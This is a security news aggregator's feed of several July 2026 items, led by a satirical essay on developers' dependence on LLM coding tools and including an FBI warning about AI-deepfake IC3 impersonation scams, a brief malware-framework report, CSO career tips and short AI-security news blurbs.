<link>https://tsecurity.de/de/3685746/ai-nachrichten/seven-sins-of-the-modern-software-developer/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3685746/ai-nachrichten/seven-sins-of-the-modern-software-developer/</guid>
<pubDate>Wed, 22 Jul 2026 11:04:50 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p class="wp-block-paragraph">If you ask us in an official setting, our official position is that software engineering norms still apply. Rigorous CI/CD pipelines, elegant architectural patterns, and an unyielding commitment to maintainable code remain the standard. We will use weighty words like “determinism,” “scalability,” “idempotency,” and “domain-driven design.”</p>



<p class="wp-block-paragraph">But behind closed doors, late at night, bathed in the glow of a dark-mode IDE, a different and more sordid reality is exposed. Hunched over the console with a manic gleam in the eye, the programmer has become power-drunk on <a href="https://www.infoworld.com/article/2335213/large-language-models-the-foundations-of-generative-ai.html" data-type="link" data-id="https://www.infoworld.com/article/2335213/large-language-models-the-foundations-of-generative-ai.html">LLMs</a>. Like mad wizards casting spells, we summon the awesome powers of models and agents to satisfy our every programming whim—and commit acts of software engineering that would make <a href="https://en.wikipedia.org/wiki/Fred_Brooks">Fred Brooks</a> blush.</p>



<p class="wp-block-paragraph">Let’s just be honest about what is actually happening.</p>



<h2 class="wp-block-heading">Esoteric knowledge is superfluous</h2>



<p class="wp-block-paragraph">Forget <a href="https://www.infoworld.com/article/2335255/what-is-object-oriented-programming-the-everyday-programming-style.html">OOP</a> and <a href="https://www.infoworld.com/article/2263963/what-is-functional-programming-a-practical-guide.html">FP</a>. Forget the <a href="https://en.wikipedia.org/wiki/CAP_theorem">CAP theorem</a>, the holy crusade of <a href="https://en.wikipedia.org/wiki/Don%27t_repeat_yourself">DRY</a>, and the design patterns. Honestly, you can even forget what frameworks, runtimes, and deployment platforms you are using. The AI will figure out what is best to use and understand what is already in place. We have more mental bandwidth for working on our side project (a novel about AI taking over the world). </p>



<p class="wp-block-paragraph">Of course, I exaggerate. A little.</p>



<h2 class="wp-block-heading">The docs are dead to us</h2>



<p class="wp-block-paragraph">We still say RTFM, but the truth is, we haven’t really read a page of vendor documentation since 2023. <a href="https://www.infoworld.com/article/3993482/ai-didnt-kill-stack-overflow.html">Stack Overflow</a>, once our Internet Mecca, is a husk. When a package throws a weird exception, we don’t trace the execution path or read the release notes. We highlight the red text, copy the entire 200-line stack trace, dump it into the chat, and wait for the machine to spoon-feed us the solution.</p>



<p class="wp-block-paragraph">Better yet, we just have the agentic IDE spot the error, divine a solution, and ask us if it’s OK. We might glance at the problem-solution description, if we have gone around the circle on the problem for a few cycles. Maybe. If we don’t have the agent set up for auto-confirm.</p>



<p class="wp-block-paragraph">We used to buy heavy tomes like “Rust In Action” that were more like masonry blocks than literature. Now? We just ask an AI to transliterate our JavaScript logic into Rust. We are no longer engineers methodically learning a system. We are glorified copy-paste orchestrators hoping that the stochastic parrot behind the prompt guesses the syntax correctly.</p>



<h2 class="wp-block-heading">We ignore how the back end is wired</h2>



<p class="wp-block-paragraph">We act like we meticulously designed the data flows, carefully crafted the relational constraints, and mindfully mapped the API relationships. The reality is rather more disturbing: We asked the AI to scaffold a modern deployment, hooked it up to a back-end database, and just sort of… ran it.</p>



<p class="wp-block-paragraph">It created security rules we don’t fully understand. They do seem to work, however, which is nice. </p>



<p class="wp-block-paragraph">It generated a schema that we skimmed for about four seconds. It looks reasonable.</p>



<p class="wp-block-paragraph">It wrote <a href="https://www.infoworld.com/article/2259359/what-is-infrastructure-as-code-automating-your-infrastructure-builds.html" data-type="link" data-id="https://www.infoworld.com/article/2259359/what-is-infrastructure-as-code-automating-your-infrastructure-builds.html">infrastructure-as-code</a> scripts that provisioned cloud resources we are hoping don’t blow a hole in the budget. Presumably, whoever is in charge of that will manage it by stuffing the metrics into another chatbot.</p>



<p class="wp-block-paragraph">We nodded, committed the code, and went to lunch. If management asked us to manually deploy the stack from scratch, configure the environment variables, and wire the API routes without our chat window, we would give them a vacant stare.</p>



<p class="wp-block-paragraph">We understand that management is also using AI to manage the project.</p>



<h2 class="wp-block-heading">Our tests are uncomfortably incestuous</h2>



<p class="wp-block-paragraph">Test-driven development (TDD) used to be a beautiful dream, ever just beyond reach. It made us feel glorious and despondent at turns. It would burden us with sprawling dependencies if implemented too religiously. (See <a href="https://grugbrain.dev/#grug-on-testing">The Grug Brained Developer</a> in this regard.)</p>



<p class="wp-block-paragraph">But now we can attain 95% test coverage almost effortlessly. Why not just add them in while we are auto-generating everything else?</p>



<p class="wp-block-paragraph">We can now wax at length to anyone who will listen about our astounding test coverage and our automated quality assurance. Unit tests, integration tests, smoke tests, you name it. What we conveniently leave out is that the AI wrote the complex application logic, and then we asked <em>the exact same AI</em> to write the test suite to validate the code it just dreamed up.</p>



<p class="wp-block-paragraph">It is a hermetically sealed loop of algorithmic self-congratulation. The mocks, the edge case, and the assertions are an echo chamber of the model’s original assumptions. The machine is grading its own homework, giving itself an A+.</p>



<p class="wp-block-paragraph">And we are happy to accept this because, beautifully, when the code has to change, the AI will effortlessly hallucinate new tests to adapt to the churn.</p>



<h2 class="wp-block-heading">We pass off the AI’s architecture as strategy</h2>



<p class="wp-block-paragraph">AI can produce astonishing design documents. Truly breathtaking. They are cogent, they’re beautifully formatted, and they seamlessly bridge the gap between high-level business goals and granular technical specs. They even include those auto-generated sequence diagrams that wow management.</p>



<p class="wp-block-paragraph">When we present these spotless architectural proposals in the Tuesday sprint planning meeting, we lean back, take a long sip of coffee, and humbly wave away the team’s praise.</p>



<p class="wp-block-paragraph">What we don’t mention is that we spent exactly four seconds generating it.</p>



<p class="wp-block-paragraph">Are these AI-generated documents just as liable as human ones to hide severe, mortal flaws in scope and alignment? Absolutely. They might contain a foundational logic bomb that will eventually doom the entire project. But the markdown is so crisp, and the bullet points are so persuasive, that the eye just glides right over it. We will never truly know the depth of the disaster until it is far too late. But hey, we’ll burn that bridge when production catches fire. Until then, we are strategic visionaries.</p>



<h2 class="wp-block-heading">We’re addicted to vibe coding (but only in secret)</h2>



<p class="wp-block-paragraph">We loudly mock the term on social media. We roll our eyes in Slack channels when the kids on TikTok talk about <a href="https://www.infoworld.com/article/4078884/what-is-vibe-coding-ai-writes-the-code-so-developers-can-think-big.html" data-type="link" data-id="https://www.infoworld.com/article/4078884/what-is-vibe-coding-ai-writes-the-code-so-developers-can-think-big.html">vibe coding</a> their new startups. We fiercely cling to our identities as hardened, serious developers who understand memory management, garbage collection, and bitwise operators. We are professionals, damn it.</p>



<p class="wp-block-paragraph">But late at night, when the managers are asleep and no one is looking? We absolutely love it. We love just throwing a chaotic, half-baked thought at the canvas, pouring a drink, and watching the AI magically build a functioning user interface based entirely on our long-deferred whims. I may finally build that working <a href="https://en.wikipedia.org/wiki/Ultima_V%3A_Warriors_of_Destiny" data-type="link" data-id="https://en.wikipedia.org/wiki/Ultima_V%3A_Warriors_of_Destiny">Ultima V</a> clone. The thrill of typing “Create an app that tracks my cryptocurrency portfolio but makes it look like the interface from Neuromancer” and having it appear 30 seconds later is heady stuff.</p>



<p class="wp-block-paragraph">The more deeply rooted in the hard, old-school realities of programming, the more profound is the joy the developer finds in the possibility of AI coding. </p>



<h2 class="wp-block-heading">We beat the problem into submission with prompts</h2>



<p class="wp-block-paragraph">Like Adam Sandler in “Uncut Gems,” we are convinced the next round will fix everything. This is us with prompts. When things are going really off the rails, instead of putting our boots on and wading into the brambles of complexity, we resort to tonal adjustments. These range from the condescending: </p>



<blockquote class="wp-block-quote is-layout-flow wp-block-quote-is-layout-flow">
<p class="wp-block-paragraph">This problem is not fixed. Look at it closely. The error is right here.</p>
</blockquote>



<p class="wp-block-paragraph">To the desperate: </p>



<blockquote class="wp-block-quote is-layout-flow wp-block-quote-is-layout-flow">
<p class="wp-block-paragraph">We have been working on this same problem for hours now!</p>
</blockquote>



<p class="wp-block-paragraph">To the pathetic: </p>



<blockquote class="wp-block-quote is-layout-flow wp-block-quote-is-layout-flow">
<p class="wp-block-paragraph">Can’t you find a different approach to try?!</p>
</blockquote>



<p class="wp-block-paragraph">The astonishing part? It often works.</p>



<p class="wp-block-paragraph">But there is no poetry left at the bottom of the rabbit hole; it is verbal warfare. When the context window collapses, when the regressions start cascading, and when the AI stubbornly refuses to follow the most basic rules of temporal logic, the mask of professionalism drops away and something far more atavistic makes its appearance. We stop asking nicely, stop trying to understand the why, delete the pleasantries, and capslock our intent.</p>



<blockquote class="wp-block-quote is-layout-flow wp-block-quote-is-layout-flow">
<p class="wp-block-paragraph">What we have here is a failure to communicate! </p>
</blockquote>



<p class="wp-block-paragraph">We feed the same failing stack trace back into the prompt over and over and over again, aggressively hammering the constraints, explicitly forbidding certain libraries, and pasting in release notes just to confirm that the AI lacks the latest APIs. We force the model down a narrower and narrower path until the code finally stops throwing errors. We don’t actually debug anymore, trace variables, or step through functions. We just apply relentless, iterative pressure until the machine surrenders. We beat it into submission. And then, we push to production.</p>



<p class="wp-block-paragraph">In fact, there is a real skill here—a sheer “will to completion” that remains in the act of building software. We invest just as much time, energy, and heart wrestling the bot as we ever did emitting syntax.</p>



<h2 class="wp-block-heading">A blacker box</h2>



<p class="wp-block-paragraph">The only profession more given over to using AI like a cursed Level 13 artifact than programming is writing. Writing of course is far more open to public scrutiny than code.</p>



<p class="wp-block-paragraph">And while my tongue has been firmly in my cheek here, my faith in coders as good guys makes me more curious to see what we create than troubled by the dangers. </p>



<p class="wp-block-paragraph">It was once the case that only other programmers could understand what programmers were doing, what they were producing. Now not even that is true. Only the machine knows what the machine is doing. We just keep it tethered to our aims. Hopefully.</p>
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<title><![CDATA[Anyone with a shed, an extension cord, a couple of GPUs and an overdraft is building datacenters. Fujitsu just offloaded five]]></title>
<description><![CDATA[‘Digital transformation’ is a better bet, apparently, so private equity gets a turn]]></description>
<link>https://tsecurity.de/de/3685630/it-nachrichten/anyone-with-a-shed-an-extension-cord-a-couple-of-gpus-and-an-overdraft-is-building-datacenters-fujitsu-just-offloaded-five/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3685630/it-nachrichten/anyone-with-a-shed-an-extension-cord-a-couple-of-gpus-and-an-overdraft-is-building-datacenters-fujitsu-just-offloaded-five/</guid>
<pubDate>Wed, 22 Jul 2026 10:20:42 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[‘Digital transformation’ is a better bet, apparently, so private equity gets a turn]]></content:encoded>
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<title><![CDATA[FBI Updates IC3 Scam Warning Over AI Videos Targeting Victims]]></title>
<description><![CDATA[The FBI IC3 scam has evolved into a broader fraud scheme in which criminals impersonate FBI personnel and the Internet Crime Complaint Center (IC3) to target people who have already fallen victim to scams. According to an updated Public Service Announcement (PSA), scammers are using AI-generated ...]]></description>
<link>https://tsecurity.de/de/3685580/it-security-nachrichten/fbi-updates-ic3-scam-warning-over-ai-videos-targeting-victims/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3685580/it-security-nachrichten/fbi-updates-ic3-scam-warning-over-ai-videos-targeting-victims/</guid>
<pubDate>Wed, 22 Jul 2026 10:08:38 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><img width="1536" height="1024" src="https://thecyberexpress.com/wp-content/uploads/FBI-IC3-scam-Update.webp" class="attachment-post-thumbnail size-post-thumbnail wp-post-image" alt="FBI IC3 scam" decoding="async" srcset="https://thecyberexpress.com/wp-content/uploads/FBI-IC3-scam-Update.webp 1536w, https://thecyberexpress.com/wp-content/uploads/FBI-IC3-scam-Update-300x200.webp 300w, https://thecyberexpress.com/wp-content/uploads/FBI-IC3-scam-Update-1024x683.webp 1024w, https://thecyberexpress.com/wp-content/uploads/FBI-IC3-scam-Update-768x512.webp 768w, https://thecyberexpress.com/wp-content/uploads/FBI-IC3-scam-Update-600x400.webp 600w, https://thecyberexpress.com/wp-content/uploads/FBI-IC3-scam-Update-150x100.webp 150w, https://thecyberexpress.com/wp-content/uploads/FBI-IC3-scam-Update-750x500.webp 750w, https://thecyberexpress.com/wp-content/uploads/FBI-IC3-scam-Update-1140x760.webp 1140w, https://thecyberexpress.com/wp-content/uploads/FBI-IC3-scam-Update.webp 1536w, https://thecyberexpress.com/wp-content/uploads/FBI-IC3-scam-Update-300x200.webp 300w, https://thecyberexpress.com/wp-content/uploads/FBI-IC3-scam-Update-1024x683.webp 1024w, https://thecyberexpress.com/wp-content/uploads/FBI-IC3-scam-Update-768x512.webp 768w, https://thecyberexpress.com/wp-content/uploads/FBI-IC3-scam-Update-600x400.webp 600w, https://thecyberexpress.com/wp-content/uploads/FBI-IC3-scam-Update-150x100.webp 150w, https://thecyberexpress.com/wp-content/uploads/FBI-IC3-scam-Update-750x500.webp 750w, https://thecyberexpress.com/wp-content/uploads/FBI-IC3-scam-Update-1140x760.webp 1140w" sizes="(max-width: 1536px) 100vw, 1536px" title="FBI Updates IC3 Scam Warning Over AI Videos Targeting Victims 1"></p><p class="PDq2pG_selectionAnchorContainer" data-start="493" data-end="949">The FBI IC3 scam has evolved into a broader fraud scheme in which criminals impersonate FBI personnel and the <a href="https://thecyberexpress.com/scam-centers-in-southeast-asia/" target="_blank" rel="noopener">Internet Crime Complaint Center</a> (IC3) to target people who have already fallen victim to scams. According to an updated <a href="https://www.ic3.gov/PSA/2025/PSA250418" target="_blank" rel="nofollow noopener">Public Service Announcement</a> (PSA), scammers are using <a href="https://thecyberexpress.com/will-ai-generated-cyberattacks-surge-in-future/" target="_blank" rel="noopener">AI-generated videos</a>, <a href="https://thecyberexpress.com/ways-social-media-is-fuelling-cybercrime/" target="_blank" rel="noopener">fake social media profiles</a>, and spoofed websites to create a false sense of trust while attempting to steal personal and financial information.</p>
<p data-start="951" data-end="1367">The updated warning describes several exploitation tactics, including targeting previous scam victims, using artificial intelligence to create fictitious or misleading promotional materials, and building fake websites designed to collect personally identifiable information. The scammers falsely claim to be affiliated with government agencies or law enforcement and often promise to help victims recover lost funds.</p>

<h3 data-section-id="196yc7a" data-start="1369" data-end="1420"><strong><span role="text">FBI IC3 Scam Targets Previous Fraud Victims</span></strong></h3>
<p data-start="1422" data-end="1642">In one version of the FBI IC3 <a class="wpil_keyword_link" href="https://cyble.com/tech-scam/" target="_blank" rel="noopener" title="scam" data-wpil-keyword-link="linked" data-wpil-monitor-id="29073">scam</a>, criminals create fake social media profiles and pages that impersonate FBI personnel. The goal is to lure previous <a class="wpil_keyword_link" href="https://thecyberexpress.com/what-is-scam-tips-for-safety/" title="scam" data-wpil-keyword-link="linked" data-wpil-monitor-id="29077">scam</a> victims into what the PSA describes as "re-targeting" scams.</p>
<p data-start="1644" data-end="1926">After realizing they have been defrauded, victims may tell the original scammers they plan to report the incident to the FBI and submit an IC3 complaint. The victim is then contacted by someone pretending to be an FBI agent through platforms such as Facebook Messenger and Telegram.</p>
<p data-start="1928" data-end="2139">The impersonator may send a link claiming to <a href="https://www.ic3.gov/PSA/2026/PSA260720" target="_blank" rel="nofollow noopener">update an existing IC3 complaint</a>. The link could contain malicious code or collect additional financial information, allowing criminals to further <a class="wpil_keyword_link" href="https://cyble.com/exploit/" target="_blank" rel="noopener" title="exploit" data-wpil-keyword-link="linked" data-wpil-monitor-id="29074">exploit</a> the victim.</p>
<p data-start="2141" data-end="2445">In other cases, scammers approach victims through email, phone calls, social media advertisements, or online forums. They claim to have recovered lost funds or offer assistance in recovering money. The FBI warning states these claims are a ruse designed to revictimize people who have already lost money.</p>

<h3 data-section-id="j1jslh" data-start="2447" data-end="2503"><span role="text"><strong data-start="2451" data-end="2503">AI-Generated Videos Promote Spoofed IC3 Websites</strong></span></h3>
<p data-start="2505" data-end="2724">Another version of the scheme involves AI-generated videos or <a class="wpil_keyword_link" href="https://cyble.com/knowledge-hub/what-are-deepfakes/" target="_blank" rel="noopener" title="deepfakes" data-wpil-keyword-link="linked" data-wpil-monitor-id="29075">deepfakes</a> featuring individuals impersonating FBI personnel. The videos are used on social media to promote spoofed versions of the official IC3 website.</p>
<p data-start="2726" data-end="3010">One reported example involved an AI-generated video depicting a senior FBI leader encouraging users to submit complaints through a <a href="https://thecyberexpress.com/planning-and-zoning-permit-phishing-scam/" target="_blank" rel="noopener">fake IC3 website</a>. The spoofed site was designed to resemble the legitimate government website, but its functionality was limited to complaint submission.</p>
<p data-start="3012" data-end="3257">The fake complaint form requested information including a user's name, phone number, email address, scam type, and estimated financial loss. After submission, the site provided a reference number and claimed someone would contact the individual.</p>

<h3 data-section-id="17fdwcn" data-start="3259" data-end="3316"><strong><span role="text">How to Spot AI-Generated Videos and Fake Messages</span></strong></h3>
<p data-start="3318" data-end="3633">The PSA warns that scammers can use AI-generated videos and cloned voices to impersonate company executives, law enforcement personnel, and other authority figures. These materials may be used during real-time video chats or private communications to convince victims they are speaking with a legitimate person.</p>
<p data-start="3635" data-end="3986">People are advised to carefully examine email addresses, phone numbers, URLs, and spelling for subtle inconsistencies. Potential warning signs in manipulated images and videos include distorted hands or feet, unrealistic facial features, irregular faces, unusual accessories, inaccurate shadows, watermarks, unnatural movements, and voice call delays.</p>
<p data-start="3988" data-end="4235">The FBI also advises people to be cautious when online content triggers strong emotions such as fear, anger, or disbelief. Users should verify surprising videos or images through reputable <a class="wpil_keyword_link" href="https://thecyberexpress.com/" title="news" data-wpil-keyword-link="linked" data-wpil-monitor-id="29076">news</a> sources or known official channels before responding.</p>
<p data-start="4237" data-end="4538">IC3 does not maintain a social media presence and will not contact individuals directly through phone, email, social media, messaging apps, online chats, or public forums. The agency also does not recover funds for victims through Facebook or Telegram and will never request payment for fund recovery.</p>
<p data-start="4540" data-end="4834">People seeking to file an IC3 complaint should type <a class="decorated-link" href="http://www.ic3.gov/" target="_blank" rel="nofollow noopener" data-start="4594" data-end="4605">www.ic3.gov</a> directly into their browser and verify that the website address ends in ".gov." Victims should avoid sponsored search results and suspicious links, and should never share sensitive information with websites they cannot verify.</p>
<p data-start="4836" data-end="5068" data-is-last-node="" data-is-only-node="">Anyone who has fallen victim to the scam should report it through the legitimate IC3 website and provide details about the person or company involved, communication methods, financial transactions, and interactions with the scammer.</p>]]></content:encoded>
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<title><![CDATA[New Attack Framework Harvests WiFi Passwords and Launches Network Flooding Attacks]]></title>
<description><![CDATA[A newly uncovered Telegram-controlled attack framework, dubbed NULLZEREPTOOL, combines a functional DDoS engine with code for WiFi password extraction, wireless disruption, proxy rotation, and botnet tasking. Researchers found the Python source in a Pastebin post flagged on April 29, 2026, then i...]]></description>
<link>https://tsecurity.de/de/3685520/it-security-nachrichten/new-attack-framework-harvests-wifi-passwords-and-launches-network-flooding-attacks/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3685520/it-security-nachrichten/new-attack-framework-harvests-wifi-passwords-and-launches-network-flooding-attacks/</guid>
<pubDate>Wed, 22 Jul 2026 09:27:28 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>A newly uncovered Telegram-controlled attack framework, dubbed NULLZEREPTOOL, combines a functional DDoS engine with code for WiFi password extraction, wireless disruption, proxy rotation, and botnet tasking. Researchers found the Python source in a Pastebin post flagged on April 29, 2026, then identified an earlier version sharing the same hardcoded Telegram bot token, administrator ID, and […]</p>
<p>The post <a href="https://cyberpress.org/wifi-credential-theft-framework/">New Attack Framework Harvests WiFi Passwords and Launches Network Flooding Attacks</a> appeared first on <a href="https://cyberpress.org/">Cyber Security News</a>.</p>]]></content:encoded>
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<title><![CDATA[10 survival tips for CSOs who report to the CEO]]></title>
<description><![CDATA[As the CSO grows in prominence, security leaders are increasingly earning a seat at the executive table, reporting directly to the CEO with the expectation to help drive business strategy and ensure organizational success.



Reporting to the CEO unlocks greater access and influence for security ...]]></description>
<link>https://tsecurity.de/de/3685496/it-security-nachrichten/10-survival-tips-for-csos-who-report-to-the-ceo/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3685496/it-security-nachrichten/10-survival-tips-for-csos-who-report-to-the-ceo/</guid>
<pubDate>Wed, 22 Jul 2026 09:16:42 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">As the CSO grows in prominence, security leaders are increasingly earning a seat at the executive table, reporting directly to the CEO with the expectation to help drive business strategy and ensure organizational success.</p>



<p class="wp-block-paragraph">Reporting to the CEO unlocks greater access and influence for security leaders, and while CSOs who report to their organization’s CIO still have clout, it’s a very different experience picking up the phone to speak directly with the CEO as a strategic partner.</p>



<p class="wp-block-paragraph">Regardless of reporting structure, CSOs must clearly understand what they are being tasked to solve. That might sound simple, but making the leap to being a CEO’s direct report requires a new perspective, a different set of skills, and a business-level focus on metrics to do so.</p>



<p class="wp-block-paragraph">We asked several current CSOs, CEOs, and IT staffing experts for advice on how security executives can best navigate a direct reporting relationship with their CEO. Offering insights below are <a href="https://www.linkedin.com/in/georgegerchow/">George Gerchow</a>, CSO at Bedrock Data and member of the IANS faculty; <a href="https://www.linkedin.com/in/mattchiodi/">Matt Chiodi</a>, CSO of Cerby; <a href="https://www.cyderes.com/company/about/chris-schueler">Chris Schueler</a>, CEO at Cyderes; and <a href="https://www.skillsoft.com/blog-authors/greg-fuller">Greg Fuller</a>, vice president of the Technology Skills Suite at Skillsoft.</p>



<h2 class="wp-block-heading">1. Understand how the CEO views your role</h2>



<p class="wp-block-paragraph">Most CEOs expect that, when you report directly to them, you fully own your functional area. Whether it’s cybersecurity, operations, or finance, they look to you as the expert in that domain. The CEO may have opinions, but ultimately, you are expected to lead and provide direction.</p>



<p class="wp-block-paragraph">CEOs expect their CSO to be a <a href="https://www.csoonline.com/article/4159317/cisos-reshape-their-roles-as-business-risk-strategists.html">true strategic partner</a>, not just a risk reporter — connecting cybersecurity to revenue protection, regulatory compliance, customer trust, and operational resilience. In turn, CSOs should expect CEOs to treat governance as a strategic enabler, not a bureaucratic necessity.</p>



<h2 class="wp-block-heading">2. Power up on skills vital to your organization at an executive level</h2>



<p class="wp-block-paragraph">On the technology side, AI and machine learning, cloud security, incident response, zero trust architecture, and governance, risk, and compliance (GRC) are the areas where threats evolve fastest and strategic leadership has the greatest impact. </p>



<p class="wp-block-paragraph">Equally important are “power skills”: communication, critical thinking, adaptability, and emotional intelligence. The ability to <a href="https://www.csoonline.com/article/4186984/6-security-leader-tips-for-mastering-business-risk.html">translate complex risk into business terms</a> is what separates a strong CSO from a purely technical one. Skills, not titles, define effectiveness in the eyes of a CEO.</p>



<h2 class="wp-block-heading">3. Take advantage of your direct access</h2>



<p class="wp-block-paragraph">Direct access to the CEO will enable you to influence strategy, <a href="https://www.csoonline.com/article/3855823/how-cisos-can-balance-business-continuity-with-other-responsibilities.html">shape resilience planning</a>, and ensure <a href="https://www.csoonline.com/article/4080670/what-does-aligning-security-to-the-business-really-mean.html">cybersecurity is treated as a business imperative</a> rather than a cost center. That authority is strongest when the CEO understands cybersecurity as a strategic lever, not just a technical function. </p>



<p class="wp-block-paragraph">While a direct reporting relationship gives you access to the CEO, it also comes with the responsibility to operate at that level. You need to provide clear, executive-level visibility into your cybersecurity program.</p>



<h2 class="wp-block-heading">4. Brush up on business translation</h2>



<p class="wp-block-paragraph">A <a href="https://www.csoonline.com/article/4002753/cisos-reposition-their-roles-for-business-leadership.html">CSO who leads with business alignment</a> will always carry more influence when they can translate risk into business language rather than technical jargon. Building programs that must survive an IPO, a FedRAMP audit, and real customer scrutiny forces you to tie security to revenue and trust.</p>



<p class="wp-block-paragraph">The most valuable skill is translation — defining technical risk in terms of executive action and business impact that a CEO and a board can act on. You must build trust through transparency. These are the human skills that complement technology, creating a collaborative human-AI dynamic where leaders make faster, better-informed decisions. </p>



<h2 class="wp-block-heading">5. Treat conversations as risk assessment opportunities</h2>



<p class="wp-block-paragraph">Highly effective security leaders treat every business conversation as a risk conversation in disguise. That mindset is what largely separates a great CSO from a great technologist. Earn the CEO’s trust by speaking business first, security second. Translate every risk into revenue, reputation, or regulatory exposure.</p>



<p class="wp-block-paragraph">Remember, a good CEO wants a translator, not an alarm system. They expect no surprises, a clear read on the risks that matter, and a security leader who helps the <a href="https://www.csoonline.com/article/4021179/8-tough-trade-offs-every-ciso-must-navigate.html">business move faster rather than slowing it down</a>.</p>



<h2 class="wp-block-heading">6. Define what a successful relationship should look like and put it in writing</h2>



<p class="wp-block-paragraph">Regardless of the reporting relationship, start by defining the end goal and putting it in writing. It will evolve over time, but having that initial clarity is critical. This is especially important when you’re new in a role and aiming to make your first 60, 90, or 120 days, and your first year, successful. In such cases, it’s essential to align early.</p>



<p class="wp-block-paragraph">Do that collaboratively, and document it.</p>



<h2 class="wp-block-heading">7. Prioritize trust and candor</h2>



<p class="wp-block-paragraph">The CEO needs to trust that the CSO isn’t sandbagging, and the CSO needs enough psychological safety to deliver bad news fast. When those conditions exist, security becomes a strategic asset — not a cost center.</p>



<p class="wp-block-paragraph">To that end, focus on clear communication above all, and present yourself as part of a team, not a solo player. Stay calm under pressure during incidents, and treat people as peers rather than policing them. The leaders who last build trust before they need it.</p>



<h2 class="wp-block-heading">8. Treat governance as a strategic competitive advantage</h2>



<p class="wp-block-paragraph">The strongest partnerships also share a commitment to governance as a competitive advantage.</p>



<p class="wp-block-paragraph">Governance is the brakes that let you drive fast safely. When a CSO and CEO are aligned on that principle, the organization can innovate with AI while <a href="https://www.csoonline.com/article/4176485/the-ai-governance-imperative-you-cant-afford-to-ignore-2.html">maintaining oversight and protecting against unnecessary risk</a>. The result is an organization that does not just react to threats but builds resilience into how it operates.</p>



<h2 class="wp-block-heading">9. Set clear goals and measure progress</h2>



<p class="wp-block-paragraph">Setting clear goals and measuring progress against those goals is essential. When expectations are clear, the areas you need to focus on become much clearer. It doesn’t solve every problem, but aligning early with your leadership, whether that’s a CEO or a CIO, can significantly reduce the pressure you may feel.</p>



<p class="wp-block-paragraph">Also, never let your boss be surprised. This is where being clear on goals and consistently tracking both leading and lagging metrics becomes especially important, particularly in a direct reporting relationship with the CEO.</p>



<h2 class="wp-block-heading">10. Be willing to endure challenge and discomfort</h2>



<p class="wp-block-paragraph">Finally, persistence and a willingness to endure discomfort for something that matters more than the pain itself are critical to surviving in this relationship. The role of a cybersecurity leader is often thankless. If you’re doing your job well, no one really notices.</p>
</div></div></div></div>]]></content:encoded>
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<title><![CDATA[Google Launches Gemini 3.5 Flash Cyber to Find and Patch Vulnerabilities at Scale]]></title>
<description><![CDATA[Google has unveiled Gemini 3.5 Flash Cyber, a lightweight cybersecurity model fine-tuned to detect, validate, and patch software vulnerabilities faster and more efficiently than mainline Flash models. The launch expands Google’s long-running investment in automated vulnerability discovery, buildi...]]></description>
<link>https://tsecurity.de/de/3685335/it-security-nachrichten/google-launches-gemini-35-flash-cyber-to-find-and-patch-vulnerabilities-at-scale/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3685335/it-security-nachrichten/google-launches-gemini-35-flash-cyber-to-find-and-patch-vulnerabilities-at-scale/</guid>
<pubDate>Wed, 22 Jul 2026 07:42:20 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Google has unveiled Gemini 3.5 Flash Cyber, a lightweight cybersecurity model fine-tuned to detect, validate, and patch software vulnerabilities faster and more efficiently than mainline Flash models. The launch expands Google’s long-running investment in automated vulnerability discovery, building on tools like CodeMender, the company’s AI code security agent. The move addresses a pressing industry problem: […]</p>
<p>The post <a href="https://cyberpress.org/google-launches-gemini-3-5-flash-cyber/">Google Launches Gemini 3.5 Flash Cyber to Find and Patch Vulnerabilities at Scale</a> appeared first on <a href="https://cyberpress.org/">Cyber Security News</a>.</p>]]></content:encoded>
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<title><![CDATA[Building a Security Company for a Market That Changes Every Four Months with Shahar Bahat of Pluto Security]]></title>
<description><![CDATA[Shahar Bahat is the CEO and co-founder of Pluto Security. With every employee now building things using tools like Cursor, Claude Code, Lovable, and n8n, security teams have no visibility into any of those layers. That is the problem Pluto is solving.

She sat down with Gianna to talk about what ...]]></description>
<link>https://tsecurity.de/de/3685298/it-security-nachrichten/building-a-security-company-for-a-market-that-changes-every-four-months-with-shahar-bahat-of-pluto-security/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3685298/it-security-nachrichten/building-a-security-company-for-a-market-that-changes-every-four-months-with-shahar-bahat-of-pluto-security/</guid>
<pubDate>Wed, 22 Jul 2026 07:11:08 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Shahar Bahat is the CEO and co-founder of Pluto Security. With every employee now building things using tools like Cursor, Claude Code, Lovable, and n8n, security teams have no visibility into any of those layers. That is the problem Pluto is solving.

She sat down with Gianna to talk about what she saw at RSAC 2026, the shift from shadow AI to mandated AI, and how to build a security product when the tools your customers use change every four months.]]></content:encoded>
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<title><![CDATA[Tools, um MCP-Server abzusichern]]></title>
<description><![CDATA[width="1024" height="576" sizes="auto, (max-width: 1024px) 100vw, 1024px">Unabhängig davon, welche MCP-Server Unternehmen wofür einsetzen – “Unsicherheiten” sollten dabei außenvorbleiben.Gorodenkoff | shutterstock.com



Model Context Protocol (MCP) verbindet KI-Agenten mit Datenquellen und erfre...]]></description>
<link>https://tsecurity.de/de/3685216/it-security-nachrichten/tools-um-mcp-server-abzusichern/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3685216/it-security-nachrichten/tools-um-mcp-server-abzusichern/</guid>
